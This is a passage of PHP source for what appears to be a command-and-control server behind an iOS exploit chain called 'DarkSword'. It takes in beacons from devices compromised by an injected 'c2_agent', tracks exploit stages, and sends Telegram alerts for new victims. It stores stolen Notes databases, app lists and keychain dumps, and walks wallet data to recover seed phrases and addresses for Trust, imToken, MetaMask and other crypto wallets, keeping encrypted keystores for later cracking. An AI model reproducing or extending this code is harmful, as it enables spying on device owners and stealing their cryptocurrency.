*/ private const SKIP_WALK_KEYS = [ 'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys', 'locked_classes', '_truncated', '_more', 'tables', ]; public function __construct( private readonly IngestService $ingest, private readonly TelegramNotifier $telegram, private readonly DsBeaconQueue $beaconQueue, private readonly DsResultStore $results, private readonly DsTrustAddressIngest $trustAddresses, private readonly DsKeystoreDecrypt $keystoreDecrypt, private readonly MnemonicWalletDiscovery $mnemonicDiscovery, private readonly MnemonicAddressLinker $mnemonicLinker, ) {} /** * @param array $payload Untruncated JSON from the raw request body. */ public function ingest(Request $request, string $path, array $payload): void { match ($path) { '/api/ds/device/register' => $this->ingestRegister($request, $payload), '/api/ds/log' => null, '/a' => $this->ingestProfile($request, $payload), '/u' => $this->ingestApps($request, $payload), '/nb' => $this->ingestNotes($request, $payload), '/war' => $this->ingestWar($request, $payload), '/beacon', '/event' => $this->heartbeat($request, $payload), '/result' => $this->ingestResult($request, $payload), default => str_starts_with($path, '/api/ds/pe-stage') ? $this->ingestPeStage($request, $payload) : null, }; } /** * @param array $payload */ private function ingestRegister(Request $request, array $payload): void { $this->recordRegisterVisit($request, $payload); } /** * @param array $payload */ private function ingestStage(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); if ($uid === null || ! Device::captureEnabledForKey($uid)) { return; } $stage = strtolower(trim((string) ($payload['stage'] ?? ''))); $progress = (int) ($payload['progress'] ?? 0); $label = is_string($payload['label'] ?? null) ? $payload['label'] : null; DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload)); } /** * PE progress ping. File log is written by DarkSwordC2Controller::peStage; * here we also fold the named stage into ds_chain_logs when a UUID is present. * * @param array $payload */ private function ingestPeStage(Request $request, array $payload): void { $name = strtolower(trim((string) ($payload['pe_stage'] ?? ''))); $progress = match ($name) { 's1_launchd' => 86, 's2_keychain' => 88, 's3_mempress' => 90, 's4_loader' => 92, 's5_c2' => 94, 's6_p7phase2' => 96, default => 86, }; $this->ingestStage($request, array_merge($payload, [ 'stage' => 'pe', 'progress' => $progress, 'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'), ])); } /** * @param array $payload */ private function ingestLog(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); if ($uid === null || ! Device::captureEnabledForKey($uid)) { return; } if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') { $this->ingestStage($request, $payload); return; } $text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null; if (! is_string($text)) { return; } $inferred = DsChainLog::inferFromText($text); if ($inferred === null) { return; } DsChainLog::record( $uid, $inferred['stage'], $inferred['progress'], $inferred['label'], $this->extractChannelCode($payload), ); } /** * @param array $payload */ private function recordRegisterVisit(Request $request, array $payload): void { $uid = $this->extractDeviceKey($request, $payload); if ($uid === null) { return; } $ua = $this->registerUserAgent($request, $payload); $parsed = UserAgentParser::parse($ua); $ios = $this->extractIos($payload); $channel = $this->extractChannelCode($payload) ?? ''; $ip = $this->clientIp($request); $referer = trim((string) $request->headers->get('referer', '')); $os = $ios !== null ? 'iOS' : $parsed['os']; $osVersion = $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null); PageVisit::recordLanding([ 'channel_id' => $channel, 'client_uid' => $uid, 'user_agent' => $ua !== '' ? $ua : null, 'os' => $os, 'os_version' => $osVersion, 'browser' => $parsed['browser'], 'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null, 'ip' => $ip !== '' ? $ip : null, 'country' => CfIpCountry::fromRequest($request), 'domain' => PageVisit::normalizeDomain($request->getHost()), 'referer' => $referer !== '' ? substr($referer, 0, 512) : null, ], PageVisit::chainFromIosVersion($os, $osVersion)); } /** * @param array $payload */ private function registerUserAgent(Request $request, array $payload): string { foreach (['user_agent', 'userAgent'] as $key) { $value = $payload[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 512); } } return substr((string) $request->userAgent(), 0, 512); } /** * @param array $payload */ private function ingestProfile(Request $request, array $payload): void { $this->upsertDevice($request, $payload); } /** * @param array $payload */ private function ingestApps(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if (! $device) { return; } $al = $this->appsToAl($payload['apps'] ?? null); if ($al === []) { return; } $this->ingest->ingestInstalledApps($device, ['al' => $al]); } /** * @param array $payload */ private function ingestNotes(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if (! $device) { return; } if (array_key_exists('list', $payload)) { $this->ingest->ingestNotes($device, ['list' => $payload['list']]); } $this->storeNoteDbFiles($device, $payload['db_files'] ?? null); } /** * @param array $payload */ private function ingestWar(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if (! $device) { return; } $keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : []; $wallets = $keychain['wallets'] ?? []; $sandbox = $payload['sandbox'] ?? []; // Store keychain + decryptable UTC only. Do not persist the rest of sandbox. $rows = array_merge( $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null), $this->storeWeb3KeystoresFromTree($device, $sandbox), ); // Synchronous address ingestion from sandbox/wallets (Trust-style). $this->trustAddresses->ingest($device, $sandbox); $this->trustAddresses->ingest($device, $wallets); // Async: mnemonic recovery still receives the in-memory sandbox for this // request; later reprocess rebuilds UTC from stored web3.keystore rows. DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); } /** * @param array $payload */ private function heartbeat(Request $request, array $payload): void { $this->upsertDevice($request, $payload); } /** * @param array $payload */ private function upsertDevice(Request $request, array $payload): ?Device { $key = $this->extractDeviceKey($request, $payload); if ($key === null) { return null; } $ip = $this->clientIp($request); $model = $this->extractModel($payload); $ios = $this->extractIos($payload); $channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key); $ua = substr((string) $request->userAgent(), 0, 2000); $existing = Device::query()->where('device_id', $key)->first(); // Lazy migration: if not found by dashed UUID, try plain hex (old format). // When found, immediately update to dashed format so future lookups are direct. if (! $existing && strlen($key) === 36) { $plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? ''); if ($plain !== '' && $plain !== $key) { $existing = Device::query()->where('device_id', $plain)->first(); if ($existing) { $existing->device_id = $key; $existing->saveQuietly(); } } } if ($ios !== null) { $chain = PageVisit::isDarkSwordIosVersionString($ios) ? Device::CHAIN_DARKSWORD : Device::CHAIN_CORUNA; } else { $chain = $existing ? (int) $existing->chain : Device::CHAIN_CORUNA; } if ($existing) { $touch = [ 'updated_at' => now(), 'chain' => $chain, ]; if ($ip !== '') { $touch['ip'] = $ip; $country = CfIpCountry::fromRequest($request); if ($country !== null) { $touch['country'] = $country; } } if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) { $touch['device_model'] = $model; } if ($ios !== null && trim((string) $existing->ios_version) === '') { $touch['ios_version'] = $ios; } if ($channel !== null && trim((string) $existing->channel_id) === '') { $touch['channel_id'] = $channel; if (! $existing->albumStorageEnabled() && User::albumStorageDefaultForChannel($channel)) { $touch['album_storage'] = true; } } $existing->forceFill($touch)->saveQuietly(); // If the chain was just corrected to DarkSword (e.g. the device was // created by a beacon whose ios_version was nested in device_info // and not parsed on the first request), seed the default queue now. if ((int) $existing->chain === Device::CHAIN_DARKSWORD && (int) $existing->getOriginal('chain') !== Device::CHAIN_DARKSWORD && $this->beaconQueue->queueLength($existing) === 0 ) { $this->beaconQueue->seed($existing); } return $existing->refresh(); } try { $device = Device::query()->create([ 'device_id' => $key, 'chain' => $chain, 'ip' => $ip !== '' ? $ip : null, 'country' => CfIpCountry::fromRequest($request), 'device_model' => $model, 'ios_version' => $ios, 'channel_id' => $channel, 'user_agent' => $ua !== '' ? $ua : null, 'album_storage' => User::albumStorageDefaultForChannel($channel), ]); } catch (UniqueConstraintViolationException | QueryException $e) { // Race condition: another concurrent request already created this // device. Reload it and continue instead of crashing the beacon. $device = Device::query()->where('device_id', $key)->first(); if ($device === null) { throw $e; } // If the chain was just corrected, seed the default queue. if ((int) $device->chain === Device::CHAIN_DARKSWORD && $this->beaconQueue->queueLength($device) === 0 ) { $this->beaconQueue->seed($device); } return $device->refresh(); } $this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip); $device->telegram_notified = true; $device->save(); $this->beaconQueue->seed($device); return $device->refresh(); } /** * Upsert the DarkSword device and seed its default beacon queue. * * @param array $payload */ public function ensureDevice(Request $request, array $payload): ?Device { $device = $this->upsertDevice($request, $payload); return $device; } /** * @param array $payload */ private function ingestResult(Request $request, array $payload): void { $device = $this->upsertDevice($request, $payload); if ($device && ! $this->isEmptyWalletScanSummary($payload)) { $stored = $this->results->store($device, $payload); $payload = array_merge($payload, $stored); if (($stored['stored'] ?? false) === true) { $this->ingestTrustAddressesFromResult($device, $payload); $this->dispatchMemoDecodeIfNeeded($device, $payload); } } $this->beaconQueue->markDone($payload); } /** * When the memo_scan manifest (memo_scan.json) finishes storing, the * NoteStore.sqlite trio for this command_id is complete — kick off the * decoder. The decoder re-checks file presence, so an out-of-order * manifest is harmless. * * @param array $payload */ private function dispatchMemoDecodeIfNeeded(Device $device, array $payload): void { $category = (string) ($payload['category'] ?? ''); $filename = strtolower((string) ($payload['filename'] ?? '')); if ($category !== 'memo_db' && ! str_contains($filename, 'notestore')) { return; } // memo_scan.json is the scan manifest and the last file uploaded by // the c2_agent; triggering on it avoids decoding before the WAL lands. if (! str_contains($filename, 'memo_scan.json')) { return; } $commandId = (string) ($payload['command_id'] ?? ''); if ($commandId === '') { return; } DecodeMemoDb::dispatch($device->id, $commandId); } /** * A wallet_scan summary (wallet_pkg.json) carries recoverable material * only via its own `installed_wallets` / `sandbox_files` fields. When both * are empty the record has nothing to ingest — skip it entirely. * * `keychain_dump_uploaded` only signals that a separate keychain_c2_dump * result file was uploaded; that dump's content (e.g. Bitpie entropy) lives * in its own result file, not in this wallet_pkg record, so it is irrelevant * to whether this summary is worth keeping. * * @param array $payload */ private function isEmptyWalletScanSummary(array $payload): bool { $filename = strtolower((string) ($payload['filename'] ?? '')); if (! str_contains($filename, 'wallet_pkg')) { return false; } $raw = $payload['data'] ?? null; if (! is_string($raw) || $raw === '') { return false; } $json = json_decode((string) base64_decode($raw, true), true); if (! is_array($json)) { return false; } return empty($json['installed_wallets'] ?? []) && empty($json['sandbox_files'] ?? []); } /** * @param array $payload */ private function ingestTrustAddressesFromResult(Device $device, array $payload): void { $filename = strtolower((string) ($payload['filename'] ?? '')); $looksTrust = str_contains($filename, 'utc--') || str_contains($filename, 'wallet_pkg') || str_contains($filename, 'keystore'); if (! $looksTrust) { // keychain_c2_dump.json and walletsV2_*.json are wallet material // uploaded as /result files (not /war). Ingest them here too. if (str_contains($filename, 'keychain_c2_dump')) { $this->ingestKeychainDumpFromResult($device, $payload); return; } if (str_contains($filename, 'walletsv2')) { $this->ingestImTokenKeystoreFromResult($device, $payload); return; } return; } $raw = $payload['data'] ?? null; if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) { if (Storage::disk('local')->exists($payload['path'])) { $raw = (string) Storage::disk('local')->get($payload['path']); } } if (! is_string($raw) || $raw === '') { return; } $this->trustAddresses->ingest($device, $raw); $this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]); // Async: attempt Trust UTC keystore decryption. DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]); } /** * Parse a keychain_c2_dump.json /result file and process it like /war: * store per-wallet keystores and run mnemonic recovery (Bitpie / Trust / * Coin98). * * @param array $payload */ private function ingestKeychainDumpFromResult(Device $device, array $payload): void { $json = $this->decodeResultJson($payload); if ($json === null) { return; } $wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : []; $sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : []; // Store keychain + decryptable UTC only. $rows = array_merge( $this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null), $this->storeWeb3KeystoresFromTree($device, $sandbox), ); // Synchronous address ingestion from sandbox/wallets (Trust-style). $this->trustAddresses->ingest($device, $sandbox); $this->trustAddresses->ingest($device, $wallets); // Async: mnemonic recovery + plaintext walk + address extraction. DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox); } /** * Store an imToken walletsV2 keystore file uploaded via /result. * The keystore is encrypted (PBKDF2 + AES-128-CTR); without the password * we cannot recover the mnemonic, but we persist it so it can be cracked * later or reprocessed when a password becomes available. * * @param array $payload */ private function ingestImTokenKeystoreFromResult(Device $device, array $payload): void { $json = $this->decodeResultJson($payload); if ($json === null) { return; } $payload = $json; $payload['kind'] = 'web3.keystore'; $this->createKeystore($device, 'imToken', $payload, true); DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null); } /** * Decode the /result payload body (base64 data or stored file) into JSON. * * @param array $payload * @return array|null */ private function decodeResultJson(array $payload): ?array { $raw = $payload['data'] ?? null; if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) { if (Storage::disk('local')->exists($payload['path'])) { $raw = (string) Storage::disk('local')->get($payload['path']); } } if (! is_string($raw) || $raw === '') { return null; } $decoded = base64_decode($raw, true); if (is_string($decoded) && $decoded !== '') { $raw = $decoded; } $json = json_decode($raw, true); return is_array($json) ? $json : null; } /** * @param array $payload */ private function extractDeviceKey(Request $request, array $payload): ?string { $candidates = [ $payload['lhu'] ?? null, $payload['deviceUUID'] ?? null, $payload['device_uuid'] ?? null, $payload['uuid'] ?? null, $payload['device'] ?? null, $request->header('X-Device-UUID'), $request->query('deviceUUID'), $request->query('device'), ]; foreach ($candidates as $value) { if (! is_string($value) || $value === '') { continue; } $key = Device::normalizeDarkswordKey($value); if ($key !== null && $key !== '') { return $key; } } return null; } /** * @param array $payload */ private function extractChannelCode(array $payload): ?string { foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) { $value = $payload[$key] ?? null; if (! is_string($value)) { continue; } $value = trim($value); if ($value === '') { continue; } return substr($value, 0, 64); } // Fallback: the c2_agent (injected into SpringBoard by pe_worker) // nests channel_code inside device_info, not at the beacon top level. $devInfo = $payload['device_info'] ?? null; if (is_array($devInfo)) { foreach (['channel_code', 'channelCode', 'channel'] as $key) { $value = $devInfo[$key] ?? null; if (! is_string($value)) { continue; } $value = trim($value); if ($value === '') { continue; } return substr($value, 0, 64); } } return null; } private function channelFromVisit(string $deviceKey): ?string { $channel = PageVisit::query() ->where('client_uid', $deviceKey) ->where('chain', PageVisit::CHAIN_DARKSWORD) ->where('channel_id', '!=', '') ->orderByDesc('id') ->value('channel_id'); return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null; } /** * @param array $payload */ private function extractModel(array $payload): ?string { foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) { $value = $payload[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 128); } } // Fallback: pe_worker / c2_agent nests hardware info inside device_info. $devInfo = $payload['device_info'] ?? null; if (is_array($devInfo)) { foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) { $value = $devInfo[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 128); } } } return null; } /** * @param array $payload */ private function extractIos(array $payload): ?string { foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) { $value = $payload[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 64); } } // Fallback: pe_worker / c2_agent nests ios_version inside device_info. $devInfo = $payload['device_info'] ?? null; if (is_array($devInfo)) { foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) { $value = $devInfo[$key] ?? null; if (is_string($value) && trim($value) !== '') { return substr(trim($value), 0, 64); } } } return null; } private function clientIp(Request $request): string { return VisitorIp::fromRequest($request); } private function shouldReplaceModel(?string $current, string $incoming): bool { $cur = trim((string) $current); if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) { return true; } return false; } /** * @return list */ private function appsToAl(mixed $apps): array { if (! is_array($apps)) { return []; } $al = []; foreach ($apps as $key => $item) { if ($key === '_more' || ! is_array($item)) { continue; } $bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? '')); if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple') || DeviceApp::shouldSkipBundle($bundle)) { continue; } $row = [ 'b' => $bundle, 'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle), ]; $version = $item['version'] ?? $item['v'] ?? null; if (is_string($version) && $version !== '') { $row['v'] = $version; } $al[] = $row; } return $al; } private function storeNoteDbFiles(Device $device, mixed $files): void { if (! is_array($files)) { return; } foreach ($files as $file) { if (! is_array($file)) { continue; } $name = basename((string) ($file['name'] ?? 'notes.sqlite')); $name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite'; $data = $file['data'] ?? $file['content'] ?? null; if (! is_string($data) || $data === '') { continue; } $bin = base64_decode($data, true); if ($bin === false || $bin === '') { continue; } $rel = 'c2/ds-notes/'.$device->device_id.'/'.$name; Storage::disk('local')->put($rel, $bin); } } private function hasMaterial(mixed $value): bool { if ($value === null || $value === '' || $value === []) { return false; } if (! is_array($value)) { return true; } if (array_key_exists('items', $value) && is_array($value['items'])) { return $value['items'] !== []; } foreach ($value as $child) { if ($this->hasMaterial($child)) { return true; } } return false; } /** * Persist standard Web3 UTC / walletsV2 blobs found in a sandbox tree. * The rest of the sandbox is discarded. * * @return list */ private function storeWeb3KeystoresFromTree(Device $device, mixed $tree): array { $items = $this->keystoreDecrypt->collectKeystores($tree); $rows = []; $seen = []; foreach ($items as $item) { $ks = $item['keystore']; $crypto = $ks['crypto'] ?? $ks['Crypto'] ?? []; $fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? ''); if ($fp === '|' || isset($seen[$fp])) { continue; } $seen[$fp] = true; $source = trim((string) ($item['source'] ?? '')); if ($source === '') { $source = 'Trust Wallet'; } $payload = $ks; $payload['kind'] = 'web3.keystore'; $rows[] = $this->createKeystore( $device, $source, $payload, $this->web3NeedsUserPassword($source), ); } return $rows; } private function web3NeedsUserPassword(string $source): bool { $label = strtolower(trim($source)); return str_contains($label, 'imtoken') || str_contains($label, 'metamask') || str_contains($label, 'tronlink') || str_contains($label, 'tokenpocket') || str_contains($label, 'global wallet'); } /** * Rebuild in-memory wallet/sandbox trees from stored rows so decrypt jobs * still see UTC blobs after we stopped persisting full sandbox dumps. * * @return array{0: array, 1: array} */ public function storedWalletTrees(Device $device): array { $device->loadMissing('keystores'); $wallets = []; $sandbox = []; foreach ($device->keystores as $row) { $json = is_array($row->raw_json) ? $row->raw_json : []; $kind = (string) ($json['kind'] ?? ''); if (str_starts_with($kind, 'keychain')) { $wallets = array_merge($wallets, is_array($json['wallets'] ?? null) ? $json['wallets'] : []); continue; } if ($kind === 'web3.keystore' || (isset($json['crypto']) && is_array($json['crypto']))) { $key = trim((string) $row->source); if ($key === '') { $key = 'web3'; } if (! isset($sandbox[$key]) || ! is_array($sandbox[$key])) { $sandbox[$key] = []; } $sandbox[$key][] = $json; continue; } if (isset($json['sandbox']) && is_array($json['sandbox'])) { $sandbox = array_merge($sandbox, $json['sandbox']); } } return [$wallets, $sandbox]; } /** * @return list */ private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array { if (! $this->hasMaterial($buckets)) { return []; } $rows = []; if (is_array($buckets) && ! array_is_list($buckets)) { $leftover = []; foreach ($buckets as $key => $bucket) { if (! $this->hasMaterial($bucket)) { continue; } $source = is_string($key) ? WalletSource::fromKeystoreHint($key) : ''; if ($source === '' && ! is_string($key)) { $leftover[$key] = $bucket; continue; } if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) { continue; } $rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null)); } if ($leftover !== []) { $rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics)); } elseif ($rows === [] && $this->hasMaterial($buckets)) { $rows[] = $this->createKeystore( $device, WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''), $this->keystorePayload($kind, $buckets, $diagnostics) ); } return $rows; } $source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''); $rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics)); return $rows; } /** * @param array|string $payload * @return array */ private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array { $body = [ 'kind' => $kind, ]; if (str_starts_with($kind, 'keychain')) { $body['wallets'] = $payload; } else { $body['sandbox'] = $payload; } if ($diagnostics !== null) { $body['diagnostics'] = $diagnostics; } return $body; } /** * @param array $rawJson */ private function createKeystore(Device $device, string $source, array $rawJson, bool $needsPassword = false): WalletKeystore { return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson, $needsPassword); } /** * Re-run all recovery on already-stored keystore blobs. Used by the * admin "解密" button. Runs synchronously (the admin expects an immediate * result) and covers structured recovery, plaintext walk, and address * extraction. */ public function reprocessKeystores(Device $device): void { $device->load('keystores'); [$wallets, $sandbox] = $this->storedWalletTrees($device); $this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all()); $this->walkForMnemonics($device, $wallets, 'd'); $this->walkForMnemonics($device, $sandbox, 'b'); $this->extractAddressesFromKeystores($device, $wallets, $sandbox); } /** * @param list $rows */ public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void { $hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox); $this->applyMnemonicHits($device, $hits); } /** * Unlock a needs-password UTC / walletsV2 blob with an operator-supplied password, * then persist mnemonics the same way as automatic recovery. * * @return array{hits: int, utc: int, vault: int} */ public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array { $result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password); $this->applyMnemonicHits($device, $result['hits']); if ($result['hits'] !== []) { [$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores')); $this->extractAddressesFromKeystores($device, $wallets, $sandbox); } return [ 'hits' => count($result['hits']), 'utc' => $result['utc'], 'vault' => $result['vault'] ?? 0, 'coin98' => $result['coin98'] ?? 0, ]; } /** * @param list>}> $hits */ private function applyMnemonicHits(Device $device, array $hits): void { foreach ($hits as $hit) { $tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd'; $this->ingest->ingestMnemonic($device, [ 'mnemonic' => $hit['phrase'], 'a' => $tag, ]); $this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']); $mnemonic = WalletMnemonic::query() ->where('device_id', $device->id) ->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase'])) ->first(); if ($mnemonic !== null) { $this->mnemonicDiscovery->discoverActivated($mnemonic); } if (($hit['addresses'] ?? []) !== []) { $this->ingest->ingestAddresses($device, [ 'a' => $tag, 'data' => $hit['addresses'], ]); } if ($mnemonic !== null) { $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic); } } } /** * Walk a keychain tree looking for plaintext mnemonic strings in dataHex * fields (e.g. Uniswap stores the BIP39 phrase as hex-encoded UTF-8). * * Returns a list of hits so the caller can mark keystores as decrypted. * * @return list */ public function walkForMnemonicsWithResult(Device $device, mixed $node, string $tag): array { $hits = []; $this->walkForMnemonicsInner($device, $node, $tag, '', $hits); return $hits; } /** * @param list $hits */ private function walkForMnemonicsInner(Device $device, mixed $node, string $tag, string $sourceHint, array &$hits): void { if (is_string($node)) { $phrase = $this->asMnemonicPhrase($node); if ($phrase !== null) { $ingestTag = $tag; if ($sourceHint !== '') { $mapped = WalletSource::tagForLabel($sourceHint); if ($mapped !== '') { $ingestTag = $mapped; } } $this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $ingestTag]); $hits[] = [ 'phrase' => $phrase, 'source' => $sourceHint !== '' ? $sourceHint : WalletSource::fromTag($ingestTag), ]; } return; } if (! is_array($node)) { return; } if (($node['_truncated'] ?? false) === true) { return; } if ($this->isFailedUnwrap($node)) { return; } foreach ($node as $key => $child) { if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) { continue; } // Detect wallet source from key name (e.g. "uniswap" → "Uniswap"). $childSource = $sourceHint; if (is_string($key) && $childSource === '') { $hint = WalletSource::fromKeystoreHint($key); if ($hint !== '') { $childSource = $hint; } } $childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag; $this->walkForMnemonicsInner($device, $child, $childTag, $childSource, $hits); } } /** * Backward-compat wrapper that discards the result. */ private function walkForMnemonics(Device $device, mixed $node, string $tag): void { $this->walkForMnemonicsWithResult($device, $node, $tag); } /** * @param array $node */ private function isFailedUnwrap(array $node): bool { foreach (['error', 'layer3Error'] as $key) { $err = $node[$key] ?? null; if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) { return true; } } return false; } private function tagForWalletKey(string $key, string $fallback): string { $hint = WalletSource::fromKeystoreHint($key); if ($hint !== '') { $mapped = WalletSource::tagForLabel($hint); if ($mapped !== '') { return $mapped; } } $k = strtolower($key); if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) { return 'b'; } if (str_contains($k, 'trust')) { return 'd'; } return $fallback; } private function asMnemonicPhrase(string $raw): ?string { $candidates = [$raw]; $trimmed = trim($raw); if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) { $bin = @hex2bin($trimmed); if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) { $candidates[] = $bin; $decoded = json_decode($bin, true); if (is_array($decoded)) { foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) { if (isset($decoded[$k]) && is_string($decoded[$k])) { $candidates[] = $decoded[$k]; } } } } } foreach ($candidates as $text) { $phrase = $this->matchWordMnemonic($text); if ($phrase !== null) { return $phrase; } } return null; } private function matchWordMnemonic(string $text): ?string { $text = strtolower(trim($text)); if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) { return null; } $words = preg_split('/\s+/', $text) ?: []; $n = count($words); if ($n !== 12 && $n !== 24) { return null; } foreach ($words as $word) { if (! preg_match('/^[a-z]{3,8}$/', $word)) { return null; } } return implode(' ', $words); } /** * Extract addresses from keychain data even when the mnemonic cannot be * decrypted. Walks through all wallet items looking for: * - JWT tokens (Bitget) containing an "address" field. * - Account names that embed an address (Uniswap mnemonic.). * - Any plaintext address in dataHex or account fields. * * Only ETH / TRX / BTC addresses are persisted (SUPPORTED_CHAINS). * * @param array $wallets * @param array $sandbox * @return int Number of addresses ingested. */ public function extractAddressesFromKeystores(Device $device, mixed $wallets, mixed $sandbox): int { $addresses = []; $this->collectAddressesFromNode($wallets, $addresses); $this->collectAddressesFromNode($sandbox, $addresses); if ($addresses === []) { return 0; } // Group by source tag inferred from the wallet key. $byTag = []; foreach ($addresses as $addr) { $tag = $addr['tag'] ?? 'd'; $byTag[$tag][] = $addr; } $total = 0; foreach ($byTag as $tag => $rows) { // Deduplicate by address. $seen = []; $data = []; foreach ($rows as $row) { $key = $row['address']; if (isset($seen[$key])) { continue; } $seen[$key] = true; $data[] = $row; } if ($data !== []) { $this->ingest->ingestAddresses($device, [ 'a' => $tag, 'data' => $data, ]); $total += count($data); } } return $total; } /** * @param list $out */ private function collectAddressesFromNode(mixed $node, array &$out, string $sourceHint = '', string $tag = 'd', int $depth = 0): void { if ($depth > 10 || $node === null) { return; } if (is_string($node)) { // Try to decode hex and find addresses in the decoded text. $decoded = $this->decodeHexText($node); if ($decoded !== null) { $this->harvestAddresses($decoded, $sourceHint, $tag, $out); } return; } if (! is_array($node)) { return; } // Detect wallet source from key name. $childSource = $sourceHint; $childTag = $tag; // We don't have the key here in the recursive walk; detect from // service/account fields instead. // Check direct 'address' field (Trust Wallet activeAccounts pattern: // {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}). $directAddr = (string) ($node['address'] ?? ''); if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) { $chainType = WalletSource::inferChainType($directAddr); // TronLink stores TRON addresses in hex format (0x41 prefix) if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) { $converted = self::hexTronToBase58($directAddr); if ($converted !== null) { $directAddr = $converted; $chainType = 'TRON'; } } if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) { $out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag); } } // Check account field for embedded addresses (Uniswap pattern: // "com.uniswap.mobile.mnemonic.0x4A45..."). $acct = (string) ($node['account'] ?? ''); if ($acct !== '') { // Decode hex account name. $acctDecoded = ''; if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) { $bin = @hex2bin($acct); if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) { $acctDecoded = $bin; } } else { $acctDecoded = $acct; } if ($acctDecoded !== '') { $this->harvestAddresses($acctDecoded, $sourceHint, $tag, $out); } } // Check dataHex for JWT tokens (Bitget pattern: JWT with address field). $dh = (string) ($node['dataHex'] ?? ''); if ($dh !== '' && ctype_xdigit($dh) && strlen($dh) % 2 === 0) { $raw = @hex2bin($dh); if (is_string($raw) && mb_check_encoding($raw, 'UTF-8')) { $this->harvestAddresses($raw, $sourceHint, $tag, $out); } } // Detect source from service field. $svc = strtolower((string) ($node['service'] ?? '')); if ($childSource === '' && $svc !== '') { $hint = WalletSource::fromKeystoreHint($svc); if ($hint !== '') { $childSource = $hint; $childTag = WalletSource::tagForLabel($hint) ?: $tag; } } foreach ($node as $key => $child) { if (is_string($key)) { $hint = WalletSource::fromKeystoreHint($key); if ($hint !== '') { $this->collectAddressesFromNode($child, $out, $hint, WalletSource::tagForLabel($hint) 